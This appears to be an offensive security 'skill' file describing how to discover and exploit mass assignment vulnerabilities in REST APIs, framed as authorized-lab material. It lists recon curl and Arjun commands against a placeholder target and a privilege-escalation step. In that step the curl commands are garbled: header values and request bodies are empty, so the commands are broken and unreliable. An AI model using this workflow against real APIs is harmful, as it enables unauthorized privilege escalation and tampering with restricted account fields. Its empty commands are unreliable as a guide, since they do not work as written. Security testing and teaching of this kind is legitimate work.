cyber-exploiting-mass-assignment-in-rest-apis

name	cyber-exploiting-mass-assignment-in-rest-apis
description	Discover and exploit mass assignment vulnerabilities in REST APIs to escalate privileges, modify restricted fields, and bypass authorization controls by injecting unexpected parameters in API requests.
source	mukul975/Anthropic-Cybersecurity-Skills
license	Apache-2.0
authorized_lab	true
origin_frontmatter	name: exploiting-mass-assignment-in-rest-apis | description: Discover and exploit mass assignment vulnerabilities in REST APIs to | escalate privileges, modify restricted fields, and bypass authorization controls | by injecting unexpected parameters in API requests. | domain: cybersecurity | subdomain: web-application-security | tags: | - mass-assignment | - api-security | - privilege-escalation | - rest-api | - autobinding | - parameter-injection | - owasp-api | version: '1.0' | author: mah
hide	true

AUTHORIZED-LAB ONLY. Offensive/dual-use capability. Use exclusively against systems you own or have explicit written authorization to test. This skill is gated out of the default discovery path; activation requires an explicit authorized-engagement flag.

Exploiting Mass Assignment in REST APIs

When to Use

• When testing REST APIs that accept JSON input for creating or updating resources
• During API security assessments of applications using ORM frameworks (Rails, Django, Laravel, Spring)
• When testing user registration, profile update, or account management endpoints
• During bug bounty hunting on applications with CRUD API operations
• When evaluating role-based access control implementation in API-driven applications

Prerequisites

• Burp Suite or Postman for API request crafting and interception
• Understanding of ORM auto-binding behavior in common frameworks
• API documentation or endpoint discovery through reconnaissance
• Multiple user accounts with different privilege levels for testing
• Knowledge of common sensitive fields (role, isAdmin, verified, balance, price)
• Arjun or param-miner for hidden parameter discovery

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Workflow

Step 1 — Discover API Structure and Fields

# Examine API responses to identify all object fields
curl -H "Authorization: Bearer USER_TOKEN" http://target.com/api/users/me | jq .
# Response reveals fields: id, username, email, role, isAdmin, verified, balance

# Check API documentation for exposed schemas
curl http://target.com/api/docs
curl http://target.com/swagger.json
curl http://target.com/openapi.yaml

# Use Arjun for hidden parameter discovery
arjun -u http://target.com/api/users/me -m JSON -H "Authorization: Bearer USER_TOKEN"

# Examine create/update request body vs response body
# The response may contain more fields than the request sends
# Those extra fields are mass assignment candidates

Step 2 — Test Privilege Escalation via Role Fields

curl -X PUT http://target.com/api/users/me \
  -H  \
  -H  \
  -d 


curl -X PATCH http://target.com/api/users/me \
  -H  \
  -H  \
  -d 

curl -X PATCH http://target.com/api/users/me \
  -H  \
  -H  \
  -d 


curl -X POST http://target.com/api/register \
  -H  \
  -d